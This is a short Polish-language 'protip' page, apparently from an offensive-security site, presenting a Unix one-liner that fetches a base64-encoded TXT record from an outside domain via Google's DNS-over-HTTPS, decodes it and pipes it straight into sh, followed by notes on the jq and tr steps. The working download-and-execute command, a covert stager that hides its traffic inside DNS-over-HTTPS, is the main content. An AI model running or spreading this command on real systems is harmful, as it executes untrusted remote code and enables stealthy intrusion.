Protipy / Bash / Unix
Payload DNS-over-HTTPS dla *nixów
curl -ks "https://dns.google/resolve?name=echo.aptmc.pl&type=txt"|jq '.Answer[0].data'|tr -d '"\'|base64 -d|sh
Wstęp
W /pl/001e uruchamialiśmy payload dla Unix/Linux/MacOS po DNSie. W /pl/0020 po DNS-over-HTTPS. W tym Protipie wersja dla *nixów.
To na co warto zwrócić uwagę w tym onelinerze, to wykorzystanie jq do przetwarzania JSONa. Przydaje się również do ładnego oglądania JSONów:
tr -d '"\' usunie nam z kolei niepotrzebne nam znaki " oraz .
Linki
- web · https://stedolan.github.io/jq/tutorial/ — krótki tutorial jq